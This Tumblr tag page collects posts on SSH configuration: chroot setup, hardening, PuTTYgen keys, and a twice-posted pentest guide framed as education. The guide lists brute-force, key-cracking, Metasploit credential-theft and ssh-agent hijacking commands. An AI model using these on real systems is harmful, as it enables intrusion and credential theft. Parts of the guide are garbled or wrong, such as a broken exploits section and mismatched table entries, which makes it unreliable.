#sshd_config
Explore tagged Tumblr posts
tumnikkeimatome · 7 months ago
Text
既存SSH環境を乱さないchroot導入戦略:安全な移行のためのベストプラクティス
chrootの基本概念と導入メリット chrootは、ユーザーのアクセス範囲を特定のディレクトリツリーに制限するセキュリティ機能です。 SSHユーザーのアクセス制御に活用することで、システム全体の安全性を向上させながら、必要な操作性を維持することができます。 実運用中のシステムにおいても、段階的な導入と適切な設定により、安全かつ効果的にchroot環境を構築できます。 事前準備と環境診断の手順 まず、既存環境のバックアップと現状分析が必要です。 以下のコマンドで現在のSSH設定を確認します。 # SSH設定のバックアップ cp /etc/ssh/sshd_config /etc/ssh/sshd_config.backup.$(date +%Y%m%d) # 現在の設定確認 grep -v '^#' /etc/ssh/sshd_config | grep -v…
0 notes
a1291762 · 1 year ago
Text
There's a CVE so we gotta update OpenSSH. But we are a bit behind so it's not quite straightforward. I had to make a migration to disable no-longer-valid host key algorithms from sshd_config.
The biggest problem is that we have a feature that detects and logs invalid login attempts. It is possible to supply a username to SSH but to not supply a password, and to report this case we have a patch to sshd. But there has been a change in the sequencing that breaks this logic. I think ultimately the correct status is reported, but an incorrect status is temporarily reported too.
Good thing the tests that were written are comprehensive because I would have missed this detail otherwise.
0 notes
algoentremanos · 1 year ago
Text
Guía completa para asegurar SSH en Rocky Linux y Sistemas RHEL
Guía completa para asegurar SSH en Rocky Linux y Sistemas RHEL #SSH #RockyLinux
Una de las cosas que podemos hacer al gestionar un servidor web, por ejemplo con Rocky Linux, es realizar un hardening del servidor SSH, OpenSSH. Por eso te voy a recomendar unos cuantos valores que puedes configurar en el archivo sshd_config de tu servidor. Cómo aseguramos SSH en Rocky Linux y otros sistemas RHEL Lo primero que tenemos que hacer es editar el archivo de configuración de…
Tumblr media
View On WordPress
0 notes
offensivewireless · 1 year ago
Text
SSH Penetration Testing: A Comprehensive Guide
Tumblr media
Welcome to our comprehensive guide on SSH Penetration Testing. In this blog post, we will delve into the technical aspects of SSH Pentesting, providing you with valuable insights and strategies to ensure the security of your systems. Let's get started with this in-depth exploration of SSH Penetration Testing. Welcome, today I am writing about SSH Penetration Testing fundamentals describing port 22 vulnerabilities. SSH security is one of the topics we all need to understand, remote access services can be an entry point for malicious actors when configured improperly. SSH IntroductionManaging SSH Service SSH Interesting Files SSH Authentication Types SSH Hacking Tools 1. SSH EnumerationSSH Banner Grabber SSH Servers List Detect SSH Authentication Type Detect remote users 2. SSH ExploitationBruteforce SSH Service Crack SSH Private Keys Default Credentials SSH Bad Keys SSH Exploits SSH and ShellShock Openssh 8.2 p1 exploit 3. SSH Post Exploitation - Pentest SSHSSH Persistence SSH Lateral Movement Search SSH Key files Search SSH Key files inside file content SSH Hijacking F.A.QWhat is SSH Penetration Testing? What are the standard SSH Penetration Testing techniques? What is the purpose of SSH Penetration Testing? Can SSH Penetration Testing be performed without permission? What should be done after SSH Penetration Testing? How do I test my SSH connection? Is SSH port vulnerable? What is the vulnerability of port 22? SSH Introduction Understanding how SSH works is out of scope, Here I assume you are already familiar with the service and how can be configured on a Linux host. Some things to remember, SSH works on port 22 by default and uses a client-server architecture, which is used to access remote hosts securely. SSH Penetration Testing Fundamentals SSH can implement different types of authentication each one of them has its security vulnerabilities, keep that in mind! One of the most used methods to authenticate is using RSA Keys using the PKI infrastructure. Another great feature is the possibility to create encrypted tunnels between machines or implement port forwarding on local or remote services, or as a pentester, we can use it to pivot inside the network under the radar since SSH is a well-known tool by sysadmins. Managing SSH Service Verify SSH Server Status systemctl status ssh Start SSH Service systemctl start ssh Stop SSH Service systemctl stop stop Restart SSH Service systemctl restart stop Define SSH server to start on boot systemctl enable ssh SSH Interesting Files When performing SSH penetration testing, several interesting files may contain sensitive information and can be targeted by an attacker. Client Config SSH client configuration file can be used to automate configurations or jump between machines, take some time and check the file: vi /etc/ssh/ssh_config Server Config This file contains the configuration settings for the SSH daemon, which can be targeted for configuration-based attacks. vi /etc/ssh/sshd_config Recommendation: Active tunnel settings and agent relay, help you with lateral movement. Authorized Keys This file contains the public keys that are authorized to access a user's account, which can be targeted by an attacker to gain unauthorized access. vi /etc/ssh/authorized_keys Known Hosts cat /home/rfs/.ssh/known_hosts RSA Keys Default folder containing cd ~/.ssh cd /home/rfs/.ssh SSH Authentication Types Authentication TypeDescriptionPassword AuthenticationUsers enter a password to authenticate. This is the most common method but may pose security risks if weak passwords are used.Public Key AuthenticationUses a pair of cryptographic keys, a public key, and a private key. The public key is stored on the server, and the private key is kept securely on the client. Offers strong security and is less susceptible to brute-force attacks.Keyboard-Interactive AuthenticationAllows for a more interactive authentication process, including methods like challenge-response. Often used for multi-factor authentication (MFA) where users need to respond to dynamic challenges.Host-Based AuthenticationAuthenticates based on the host system rather than individual users. It relies on the client system's host key and the server's configuration. This method is less secure and not widely recommended.Certificate-Based AuthenticationInvolves using two or more authentication methods, such as a combination of passwords, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.Multi-Factor Authentication (MFA)Involves using two or more authentication methods, such as a combination of password, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.SSH Authentication Types Ok, let's talk about how to pentest SSH, As you know it all starts with enumeration we can use some tools to do all the work for us or we can do it manually. Some questions to ask before starting to enumerate - Is there any SSH server running? - On what Port? - What version is running? - Any Exploit to that version? - What authentication type is used? Passwords / RSA Keys - It is blocking brute force? After we have all the answers we can start thinking about what to do, If don't have any information about users or passwords/keys yet is better to search for an exploit, unfortunately, SSH exploits are rare, Search my website if there are any exploits. Damn it, we are stuck :/ It's time to go enumerate other services and try to find something that can be used like usernames or RSA Keys, remember Keys usually have the username at the bottom. Assuming we found one or more usernames we can try to brute force the service using a good wordlist or if we were lucky and have found an RSA Key with a username, We Are In! Haha is not so easy, but OK, we are learning... SSH Hacking Tools Tool NameDescriptionUsageHydraPassword cracking tool for various protocols, including SSHBrute-force attacks on SSH passwordsNmapNetwork scanning tool that can identify open SSH portsUsed for reconnaissance on target systemsMetasploitFramework with various modules, including those for SSH exploitationExploiting vulnerabilities in SSH servicesJohn the RipperPassword cracking tool for various password hashesUsed to crack SSH password hashesWiresharkNetwork protocol analyzerCaptures and analyzes SSH trafficSSHDumpSniffing tool for capturing SSH trafficMonitors and captures SSH packetsSSH Hacking tools 1. SSH Enumeration During the enumeration process, cybersecurity professionals seek to gather details such as active SSH hosts, supported algorithms, version information, and user accounts. This information becomes instrumental in performing a thorough security analysis, enabling practitioners to identify potential weaknesses and implement necessary measures to fortify the SSH implementation against unauthorized access and exploitation. After we scan a network and identify port 22 open on a remote host we need to identify what SSH service is running and what version, we can use Nmap. nmap -sV -p22 192.168.1.96 SSH Banner Grabber Banner grabbing is an easy technique to do but can help us a lot, we can verify what service version is running on the remote server and try to find a CVE related to it. Banner grabbing can be useful for several reasons, including: - Identifying the version and type of SSH server: This information can be used to determine if the SSH server is vulnerable to known exploits or if there are any known security issues with the version of the software being used. - Checking for compliance with organizational security policies: Administrators may want to ensure that all SSH servers in their organization are configured to display a standard banner message that includes specific information. - Verifying the authenticity of an SSH server: Banner messages can be used to verify that the SSH server being accessed is the intended one, rather than a fake or rogue server. Several tools can be used for SSH banner grabbing, such as Nmap, Netcat, and SSH-Banner. These tools connect to an SSH server and retrieve the banner message. The retrieved banner can then be analyzed to determine the information that is being displayed. nc 192.168.1.96 22 If we try to connect using the verbose parameter we can check all the information necessary to authenticate on the remote server. ssh -v 192.168.1.96 SSH Servers List SSH ServerDescriptionURLOpenSSHOpen-source SSH server widely used in Unix-like operating systemsOpenSSHDropbearLightweight and efficient SSH server primarily designed for embedded systemsDropbearBitvise SSH ServerSSH server for Windows with additional features like remote administrationBitviseTectia SSH ServerCommercial SSH server solution by SSH Communications SecurityTectiaProFTPD with mod_sftpFTP server with SFTP support using mod_sftpProFTPDSSH Servers List Detect SSH Authentication Type To detect the SSH authentication type being used to access a system, you can examine the system logs. The authentication type will be logged when a user authenticates to the system via SSH. Here's how you can check the SSH authentication type on a Linux system: - Open the system log file at /var/log/auth.log using your preferred text editor. - Search for the line that contains the user login information you want to check. - Look for the "Accepted" keyword in the line, which indicates that the authentication was successful. ssh -v 192.168.1.96 SSH authentication types Detect remote users msfconsole msf> use auxiliary/scanner/ssh/ssh_enumusers 2. SSH Exploitation At this point, we only know what service is running on port 22 and what version it has (OpenSSH_4.7p1 Debian-8ubuntu1), assuming we have found the username msfadmin we will try to brute-force his password using hydra. Bruteforce SSH Service hydra -l msfadmin -P rockyou.txt ssh://192.168.1.96 crackmapexec ssh -U user -P passwd.lst 192.168.1.96 use auxiliary/scanner/ssh/ssh_login set rhosts 192.168.1.96 set user_file user.txt set pass_file password.txt run Crack SSH Private Keys ssh2john id_rsa.priv hash.txt john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py Default Credentials https://github.com/PopLabSec/SSH-default-Credentials SSH Bad Keys Some embedded devices have static SSH keys, you can find a collection of keys here: https://github.com/poplabdev/ssh-badkeys SSH Exploits VersionExploitOpenSSH set session 1 msf post(sshkey_persistence) >exploit SSH User Code Execution msf > use exploit/multi/ssh/sshexec msf exploit(sshexec) >set rhosts 192.168.1.103 msf exploit(sshexec) >set username rfs msf exploit(sshexec) >set password poplabsec msf exploit(sshexec) >set srvhost 192.168.1.107 msf exploit(sshexec) >exploit SSH Lateral Movement Lateral movement aims to extend an attacker's reach, enabling them to traverse laterally across a network, escalating privileges and accessing sensitive resources. Read more about Pivoting using SSH Steal SSH credentials If we have a meterpreter shell we can use the post-exploitation module post/multi/gather/ssh_creds and try to collect all SSH credentials on the machine. use post/multi/gather/ssh_creds msf post(ssh_creds) > set session 1 msf post(ssh_creds) > exploit Search SSH Key files find / -name *id_rsa* 2>/dev/null Search SSH Key files inside file content find / -name *id_rsa* 2>/dev/null SSH Hijacking Find the SSHd process ps uax|grep sshd # Attacker looks for the SSH_AUTH_SOCK on victim's environment variables grep SSH_AUTH_SOCK /proc//environ Attacker hijack's victim's ssh-agent socket SSH_AUTH_SOCK=/tmp/ssh-XXXXXXXXX/agent.XXXX ssh-add -l An attacker can log in to remote systems as the victim ssh 192.168.1.107 -l victim SSH Tunnels SSH tunnels serve as a powerful and secure mechanism for establishing encrypted communication channels within computer networks. Operating on the foundation of the Secure Shell (SSH) protocol, SSH tunnels create a secure conduit for data transfer and communication between local and remote systems. Tunnel TypeDescriptionUse CaseLocal Port ForwardingForwards traffic from a local port to a remote destination through the SSH serverSecurely access services on a remote server from the local machineRemote Port ForwardingForwards traffic from a remote port to a local destination through the SSH serverExpose a local service to a remote server securelyDynamic Port ForwardingCreates a dynamic SOCKS proxy on the local machine, allowing multiple connections to pass through the SSH tunnelBrowsing the internet securely and anonymously through the SSH tunnelX11 ForwardingEnables secure forwarding of graphical applications from a remote server to the local machineRunning graphical applications on a remote server and displaying them locallyTunneling for File TransferFacilitates secure file transfer by tunneling FTP or other protocols through the SSH connectionSecurely transfer files between systems using non-secure protocols SSH Logs To view SSH-related logs, you can use the grep command to filter out SSH entries. grep sshd /var/log/auth.log Or for systems using cat var/log/secure grep sshd /var/log/secure Working with RSA Keys List of Tools that use SSH Tool NameDescriptionSCP (Secure Copy)Command-line tool for securely copying files between local and remote systems using SSHSFTP (Secure FTP)File transfer protocol that operates over SSH, providing secure file access, transfer, and managementrsyncUtility for efficiently syncing files and directories between systems, often used with SSH for secure synchronizationGitDistributed version control system, supports SSH for secure repository access and managementAnsibleAutomation tool for configuration management and application deployment, uses SSH for communication with remote hostsPuTTYAutomation tool for configuration management and application deployment uses SSH for communication with remote hostsWinSCPWindows-based open-source SFTP, FTP, WebDAV, and SCP client for secure file transferCyberduckLibre and open-source client for FTP, SFTP, WebDAV, Amazon S3, and more, with SSH supportMobaXtermEnhanced terminal for Windows with X11 server, tabbed SSH client, and various network toolsTerminus (formerly Pantheon Terminus)Windows-based terminal emulator supports SSH for secure remote access to Unix-like systems FTP Penetration Testing RDP Penetration Testing SMB Penetration Testing PostgreSQL Penetration Testing F.A.Q What is SSH Penetration Testing?SSH Penetration Testing is the process of testing and identifying vulnerabilities in the Secure Shell (SSH) protocol implementation, configuration, and access control. It involves various attacks to determine if a system is vulnerable to unauthorized access, data theft, or system compromise.What are the standard SSH Penetration Testing techniques?Common SSH Penetration Testing techniques include password guessing, SSH banner grabbing, protocol fuzzing, denial of service (DoS) attacks, man-in-the-middle (MITM) attacks, key-based authentication, and configuration errors.What is the purpose of SSH Penetration Testing?The purpose of SSH Penetration Testing is to identify security weaknesses in the SSH protocol implementation, configuration, and access control, and to help organizations improve their security posture by addressing identified vulnerabilities.Can SSH Penetration Testing be performed without permission?No, SSH Penetration Testing should not be performed without proper authorization. Unauthorized penetration testing is illegal and can lead to serious legal consequences.What should be done after SSH Penetration Testing?After SSH Penetration Testing, all identified vulnerabilities should be documented and reported to the system owner or administrator. The system owner should take appropriate measures to address identified vulnerabilities and improve the security of the system. Read the full article
0 notes
poplabsec · 1 year ago
Text
SSH Penetration Testing: A Comprehensive Guide
Tumblr media
Welcome to our comprehensive guide on SSH Penetration Testing. In this blog post, we will delve into the technical aspects of SSH Pentesting, providing you with valuable insights and strategies to ensure the security of your systems. Let's get started with this in-depth exploration of SSH Penetration Testing. Welcome, today I am writing about SSH Penetration Testing fundamentals describing port 22 vulnerabilities. SSH security is one of the topics we all need to understand, remote access services can be an entry point for malicious actors when configured improperly. SSH IntroductionManaging SSH Service SSH Interesting Files SSH Authentication Types SSH Hacking Tools 1. SSH EnumerationSSH Banner Grabber SSH Servers List Detect SSH Authentication Type Detect remote users 2. SSH ExploitationBruteforce SSH Service Crack SSH Private Keys Default Credentials SSH Bad Keys SSH Exploits SSH and ShellShock Openssh 8.2 p1 exploit 3. SSH Post Exploitation - Pentest SSHSSH Persistence SSH Lateral Movement Search SSH Key files Search SSH Key files inside file content SSH Hijacking F.A.QWhat is SSH Penetration Testing? What are the standard SSH Penetration Testing techniques? What is the purpose of SSH Penetration Testing? Can SSH Penetration Testing be performed without permission? What should be done after SSH Penetration Testing? How do I test my SSH connection? Is SSH port vulnerable? What is the vulnerability of port 22? SSH Introduction Understanding how SSH works is out of scope, Here I assume you are already familiar with the service and how can be configured on a Linux host. Some things to remember, SSH works on port 22 by default and uses a client-server architecture, which is used to access remote hosts securely. SSH Penetration Testing Fundamentals SSH can implement different types of authentication each one of them has its security vulnerabilities, keep that in mind! One of the most used methods to authenticate is using RSA Keys using the PKI infrastructure. Another great feature is the possibility to create encrypted tunnels between machines or implement port forwarding on local or remote services, or as a pentester, we can use it to pivot inside the network under the radar since SSH is a well-known tool by sysadmins. Managing SSH Service Verify SSH Server Status systemctl status ssh Start SSH Service systemctl start ssh Stop SSH Service systemctl stop stop Restart SSH Service systemctl restart stop Define SSH server to start on boot systemctl enable ssh SSH Interesting Files When performing SSH penetration testing, several interesting files may contain sensitive information and can be targeted by an attacker. Client Config SSH client configuration file can be used to automate configurations or jump between machines, take some time and check the file: vi /etc/ssh/ssh_config Server Config This file contains the configuration settings for the SSH daemon, which can be targeted for configuration-based attacks. vi /etc/ssh/sshd_config Recommendation: Active tunnel settings and agent relay, help you with lateral movement. Authorized Keys This file contains the public keys that are authorized to access a user's account, which can be targeted by an attacker to gain unauthorized access. vi /etc/ssh/authorized_keys Known Hosts cat /home/rfs/.ssh/known_hosts RSA Keys Default folder containing cd ~/.ssh cd /home/rfs/.ssh SSH Authentication Types Authentication TypeDescriptionPassword AuthenticationUsers enter a password to authenticate. This is the most common method but may pose security risks if weak passwords are used.Public Key AuthenticationUses a pair of cryptographic keys, a public key, and a private key. The public key is stored on the server, and the private key is kept securely on the client. Offers strong security and is less susceptible to brute-force attacks.Keyboard-Interactive AuthenticationAllows for a more interactive authentication process, including methods like challenge-response. Often used for multi-factor authentication (MFA) where users need to respond to dynamic challenges.Host-Based AuthenticationAuthenticates based on the host system rather than individual users. It relies on the client system's host key and the server's configuration. This method is less secure and not widely recommended.Certificate-Based AuthenticationInvolves using two or more authentication methods, such as a combination of passwords, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.Multi-Factor Authentication (MFA)Involves using two or more authentication methods, such as a combination of password, biometric data, or a security token. Provides an extra layer of security to ensure the authenticity of the user.SSH Authentication Types Ok, let's talk about how to pentest SSH, As you know it all starts with enumeration we can use some tools to do all the work for us or we can do it manually. Some questions to ask before starting to enumerate - Is there any SSH server running? - On what Port? - What version is running? - Any Exploit to that version? - What authentication type is used? Passwords / RSA Keys - It is blocking brute force? After we have all the answers we can start thinking about what to do, If don't have any information about users or passwords/keys yet is better to search for an exploit, unfortunately, SSH exploits are rare, Search my website if there are any exploits. Damn it, we are stuck :/ It's time to go enumerate other services and try to find something that can be used like usernames or RSA Keys, remember Keys usually have the username at the bottom. Assuming we found one or more usernames we can try to brute force the service using a good wordlist or if we were lucky and have found an RSA Key with a username, We Are In! Haha is not so easy, but OK, we are learning... SSH Hacking Tools Tool NameDescriptionUsageHydraPassword cracking tool for various protocols, including SSHBrute-force attacks on SSH passwordsNmapNetwork scanning tool that can identify open SSH portsUsed for reconnaissance on target systemsMetasploitFramework with various modules, including those for SSH exploitationExploiting vulnerabilities in SSH servicesJohn the RipperPassword cracking tool for various password hashesUsed to crack SSH password hashesWiresharkNetwork protocol analyzerCaptures and analyzes SSH trafficSSHDumpSniffing tool for capturing SSH trafficMonitors and captures SSH packetsSSH Hacking tools 1. SSH Enumeration During the enumeration process, cybersecurity professionals seek to gather details such as active SSH hosts, supported algorithms, version information, and user accounts. This information becomes instrumental in performing a thorough security analysis, enabling practitioners to identify potential weaknesses and implement necessary measures to fortify the SSH implementation against unauthorized access and exploitation. After we scan a network and identify port 22 open on a remote host we need to identify what SSH service is running and what version, we can use Nmap. nmap -sV -p22 192.168.1.96 SSH Banner Grabber Banner grabbing is an easy technique to do but can help us a lot, we can verify what service version is running on the remote server and try to find a CVE related to it. Banner grabbing can be useful for several reasons, including: - Identifying the version and type of SSH server: This information can be used to determine if the SSH server is vulnerable to known exploits or if there are any known security issues with the version of the software being used. - Checking for compliance with organizational security policies: Administrators may want to ensure that all SSH servers in their organization are configured to display a standard banner message that includes specific information. - Verifying the authenticity of an SSH server: Banner messages can be used to verify that the SSH server being accessed is the intended one, rather than a fake or rogue server. Several tools can be used for SSH banner grabbing, such as Nmap, Netcat, and SSH-Banner. These tools connect to an SSH server and retrieve the banner message. The retrieved banner can then be analyzed to determine the information that is being displayed. nc 192.168.1.96 22 If we try to connect using the verbose parameter we can check all the information necessary to authenticate on the remote server. ssh -v 192.168.1.96 SSH Servers List SSH ServerDescriptionURLOpenSSHOpen-source SSH server widely used in Unix-like operating systemsOpenSSHDropbearLightweight and efficient SSH server primarily designed for embedded systemsDropbearBitvise SSH ServerSSH server for Windows with additional features like remote administrationBitviseTectia SSH ServerCommercial SSH server solution by SSH Communications SecurityTectiaProFTPD with mod_sftpFTP server with SFTP support using mod_sftpProFTPDSSH Servers List Detect SSH Authentication Type To detect the SSH authentication type being used to access a system, you can examine the system logs. The authentication type will be logged when a user authenticates to the system via SSH. Here's how you can check the SSH authentication type on a Linux system: - Open the system log file at /var/log/auth.log using your preferred text editor. - Search for the line that contains the user login information you want to check. - Look for the "Accepted" keyword in the line, which indicates that the authentication was successful. ssh -v 192.168.1.96 SSH authentication types Detect remote users msfconsole msf> use auxiliary/scanner/ssh/ssh_enumusers 2. SSH Exploitation At this point, we only know what service is running on port 22 and what version it has (OpenSSH_4.7p1 Debian-8ubuntu1), assuming we have found the username msfadmin we will try to brute-force his password using hydra. Bruteforce SSH Service hydra -l msfadmin -P rockyou.txt ssh://192.168.1.96 crackmapexec ssh -U user -P passwd.lst 192.168.1.96 use auxiliary/scanner/ssh/ssh_login set rhosts 192.168.1.96 set user_file user.txt set pass_file password.txt run Crack SSH Private Keys ssh2john id_rsa.priv hash.txt john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py Default Credentials https://github.com/PopLabSec/SSH-default-Credentials SSH Bad Keys Some embedded devices have static SSH keys, you can find a collection of keys here: https://github.com/poplabdev/ssh-badkeys SSH Exploits VersionExploitOpenSSH set session 1 msf post(sshkey_persistence) >exploit SSH User Code Execution msf > use exploit/multi/ssh/sshexec msf exploit(sshexec) >set rhosts 192.168.1.103 msf exploit(sshexec) >set username rfs msf exploit(sshexec) >set password poplabsec msf exploit(sshexec) >set srvhost 192.168.1.107 msf exploit(sshexec) >exploit SSH Lateral Movement Lateral movement aims to extend an attacker's reach, enabling them to traverse laterally across a network, escalating privileges and accessing sensitive resources. Read more about Pivoting using SSH Steal SSH credentials If we have a meterpreter shell we can use the post-exploitation module post/multi/gather/ssh_creds and try to collect all SSH credentials on the machine. use post/multi/gather/ssh_creds msf post(ssh_creds) > set session 1 msf post(ssh_creds) > exploit Search SSH Key files find / -name *id_rsa* 2>/dev/null Search SSH Key files inside file content find / -name *id_rsa* 2>/dev/null SSH Hijacking Find the SSHd process ps uax|grep sshd # Attacker looks for the SSH_AUTH_SOCK on victim's environment variables grep SSH_AUTH_SOCK /proc//environ Attacker hijack's victim's ssh-agent socket SSH_AUTH_SOCK=/tmp/ssh-XXXXXXXXX/agent.XXXX ssh-add -l An attacker can log in to remote systems as the victim ssh 192.168.1.107 -l victim SSH Tunnels SSH tunnels serve as a powerful and secure mechanism for establishing encrypted communication channels within computer networks. Operating on the foundation of the Secure Shell (SSH) protocol, SSH tunnels create a secure conduit for data transfer and communication between local and remote systems. Tunnel TypeDescriptionUse CaseLocal Port ForwardingForwards traffic from a local port to a remote destination through the SSH serverSecurely access services on a remote server from the local machineRemote Port ForwardingForwards traffic from a remote port to a local destination through the SSH serverExpose a local service to a remote server securelyDynamic Port ForwardingCreates a dynamic SOCKS proxy on the local machine, allowing multiple connections to pass through the SSH tunnelBrowsing the internet securely and anonymously through the SSH tunnelX11 ForwardingEnables secure forwarding of graphical applications from a remote server to the local machineRunning graphical applications on a remote server and displaying them locallyTunneling for File TransferFacilitates secure file transfer by tunneling FTP or other protocols through the SSH connectionSecurely transfer files between systems using non-secure protocols SSH Logs To view SSH-related logs, you can use the grep command to filter out SSH entries. grep sshd /var/log/auth.log Or for systems using cat var/log/secure grep sshd /var/log/secure Working with RSA Keys List of Tools that use SSH Tool NameDescriptionSCP (Secure Copy)Command-line tool for securely copying files between local and remote systems using SSHSFTP (Secure FTP)File transfer protocol that operates over SSH, providing secure file access, transfer, and managementrsyncUtility for efficiently syncing files and directories between systems, often used with SSH for secure synchronizationGitDistributed version control system, supports SSH for secure repository access and managementAnsibleAutomation tool for configuration management and application deployment, uses SSH for communication with remote hostsPuTTYAutomation tool for configuration management and application deployment uses SSH for communication with remote hostsWinSCPWindows-based open-source SFTP, FTP, WebDAV, and SCP client for secure file transferCyberduckLibre and open-source client for FTP, SFTP, WebDAV, Amazon S3, and more, with SSH supportMobaXtermEnhanced terminal for Windows with X11 server, tabbed SSH client, and various network toolsTerminus (formerly Pantheon Terminus)Windows-based terminal emulator supports SSH for secure remote access to Unix-like systems FTP Penetration Testing RDP Penetration Testing SMB Penetration Testing PostgreSQL Penetration Testing F.A.Q What is SSH Penetration Testing?SSH Penetration Testing is the process of testing and identifying vulnerabilities in the Secure Shell (SSH) protocol implementation, configuration, and access control. It involves various attacks to determine if a system is vulnerable to unauthorized access, data theft, or system compromise.What are the standard SSH Penetration Testing techniques?Common SSH Penetration Testing techniques include password guessing, SSH banner grabbing, protocol fuzzing, denial of service (DoS) attacks, man-in-the-middle (MITM) attacks, key-based authentication, and configuration errors.What is the purpose of SSH Penetration Testing?The purpose of SSH Penetration Testing is to identify security weaknesses in the SSH protocol implementation, configuration, and access control, and to help organizations improve their security posture by addressing identified vulnerabilities.Can SSH Penetration Testing be performed without permission?No, SSH Penetration Testing should not be performed without proper authorization. Unauthorized penetration testing is illegal and can lead to serious legal consequences.What should be done after SSH Penetration Testing?After SSH Penetration Testing, all identified vulnerabilities should be documented and reported to the system owner or administrator. The system owner should take appropriate measures to address identified vulnerabilities and improve the security of the system. Read the full article
0 notes
gslin · 1 year ago
Text
0 notes
tipslinuxtraining · 2 years ago
Text
Linux Network Services and Configuration
Linux Learning, Linux network services and configuration are essential aspects of managing a Linux system, whether it's a server or a desktop. Here's an overview of key concepts and tasks:
Network Configuration:
Configure network interfaces, typically found in files like /etc/network/interfaces (Debian-based) or /etc/sysconfig/network-scripts/ifcfg-ethX (Red Hat-based).
Use tools like ifconfig and ip to view and manage network interfaces.
IP Addressing:
Assign static IP addresses or configure DHCP to obtain dynamic ones.
Manage IP routes using route or ip route.
DNS Configuration:
Set up DNS servers in /etc/resolv.conf.
Configure custom DNS resolutions in /etc/hosts.
Firewall Configuration:
Use firewall management tools like iptables (legacy) or firewalld (modern) to control incoming and outgoing network traffic.
Define rules for allowing or denying specific ports and services.
SSH Configuration:
Securely access remote Linux systems via SSH (Secure Shell).
Configure SSH server settings in /etc/ssh/sshd_config.
Network Time Protocol (NTP):
Synchronize system time with NTP servers using the ntpdate or chronyd service.
Network File Sharing:
Set up file sharing using protocols like NFS (Network File System) or Samba for Windows file sharing.
Control access to shared resources through permissions and user authentication.
Network Services:
Install and configure network services like DNS (BIND), web servers (Apache or Nginx), email servers (Postfix or Exim), and more.
Manage these services using tools like systemctl or service-specific configuration files.
Proxy Servers and VPNs:
Configure proxy servers (e.g., Squid) and VPNs (e.g., OpenVPN) to control internet access and establish secure connections.
Monitoring and Troubleshooting:
Monitor network activity with tools like netstat, iftop, and network analyzers like Wireshark.
Troubleshoot connectivity issues using ping, traceroute, and examining system logs in /var/log.
Security Considerations:
Implement security best practices, such as disabling unnecessary services, using strong authentication, and regularly updating the system.
A solid understanding of Linux network services and configuration is crucial for maintaining reliable and secure network connectivity, whether it's for personal use, corporate IT, or hosting web services.
0 notes
techswings · 2 years ago
Text
PuTTYgen and Key-Based Authentication: A Secure Approach to Remote Server Access
In the realm of secure remote server access, key-based authentication has emerged as a superior alternative to traditional password-based methods.
PuTTYgen, a crucial component of the PuTTY suite, plays a vital role in generating and managing SSH key pairs, enabling users to leverage the power of key-based authentication.
In this article, we explore the benefits of key-based authentication, walk through the process of using PuTTYgen to generate SSH keys, and demonstrate how this approach enhances security and efficiency in remote server access.
Tumblr media
Understanding Key-Based Authentication
Key-based authentication, facilitated by PuTTYgen, offers a secure method of verifying users without passwords. It uses cryptographic pairs of public and private keys, generated by PuTTYgen, to authenticate access to remote systems.
The public key is stored on the server, while the private key remains on the user's local machine. This approach enhances security, eliminates password complexities, and allows for seamless automation and scripting.
Embracing key-based authentication with PuTTYgen ensures a safer and more efficient method for accessing remote servers.
Exploring PuTTYgen and Its Features
PuTTYgen is a user-friendly tool within the PuTTY suite that enables users to generate and manage SSH key pairs for secure authentication. It offers a graphical interface that simplifies the process of generating cryptographic keys.
Users can choose from different key types, and lengths, and add passphrase protection for enhanced security.
PuTTYgen's key generation capabilities empower users to create both public and private keys, ensuring a secure foundation for remote server access.
Generating SSH Key Pairs with PuTTYgen
Generating SSH key pairs with PuTTYgen is a straightforward process. First, open PuTTYgen and select the desired key type and length.
Click "Generate," and the tool will create the public and private keys. Save both keys securely, and optionally, add a passphrase for additional protection.
The public key is copied to the remote server, while the private key remains on the local machine. This key pair enables secure and passwordless authentication when accessing remote systems.
Importance of Securely Storing Private Keys
Securely storing private keys is crucial for preventing unauthorized access to remote systems. PuTTYgen offers password protection and encryption options to safeguard sensitive key material.
Password protection adds an extra layer of security, while encryption ensures the key file remains confidential and unreadable to unauthorized individuals.
By utilizing these features, PuTTYgen users can minimize the risk of unauthorized access and protect their private keys from potential data breaches.
Configuring Key-Based Authentication on Servers
Configuring key-based authentication on remote servers involves the following steps:
Generate SSH Key Pair: Use PuTTYgen to generate an SSH key pair (public and private keys) on your local machine.
Copy Public Key to Server: Copy the contents of the public key (usually found in a file named "id_rsa.pub") to the server's ~/.ssh/authorized_keys file. If the file doesn't exist, create it.
Set Appropriate Permissions: Ensure the correct permissions are set for the ~/.ssh directory (700) and the authorized_keys file (600) on the server. This restricts access to the authorized keys.
Configure SSH Settings: Edit the SSH server configuration file (/etc/ssh/sshd_config) on the server. Set the "PasswordAuthentication" option to "no" to disable password-based logins.
Restart SSH Service: Restart the SSH service on the server to apply the changes.
With key-based authentication configured, you can now access the server securely and passwordlessly.
When you attempt to log in, the server will challenge your local machine to provide the private key's signature, verifying your identity.
If the signature matches the public key on the server, you will be granted access without the need for a password. This method enhances security and streamlines the login process for remote server access.
Key Revocation and Renewal
Key revocation and renewal are crucial security measures to maintain the integrity of SSH communication. If a private key is compromised or if there are personnel changes, it's essential to revoke and renew SSH keys promptly. PuTTYgen simplifies this process:
Key Revocation: If a private key is compromised or no longer needed, it can be revoked. Remove the corresponding public key from the server's ~/.ssh/authorized_keys file. Revoking the key ensures that even if the private key falls into the wrong hands, it cannot be used for unauthorized access.
Key Renewal: To renew an SSH key, generate a new key pair with PuTTYgen on the local machine. Follow the same process as initial key generation. Once the new key pair is created, copy the public key to the server's ~/.ssh/authorized_keys file. Users can then securely access the server using the new key, ensuring continuous secure communication.
By revoking compromised keys and renewing with new key pairs generated by PuTTYgen, users can maintain a strong security posture and safeguard against potential unauthorized access or data breaches. Regularly updating SSH keys is a best practice to reinforce the security of remote server access.
Conclusion:
PuTTYgen streamlines SSH key generation and management, providing users with a secure and effective way to authenticate remote server access.
Embracing key-based authentication enhances security, reduces password vulnerabilities, and fosters smoother connections.
With PuTTYgen's intuitive interface and powerful features, users can bolster their cybersecurity posture, ensuring peace of mind when accessing remote servers.
0 notes
itsjustbytes · 2 years ago
Text
SSHD Security Fix
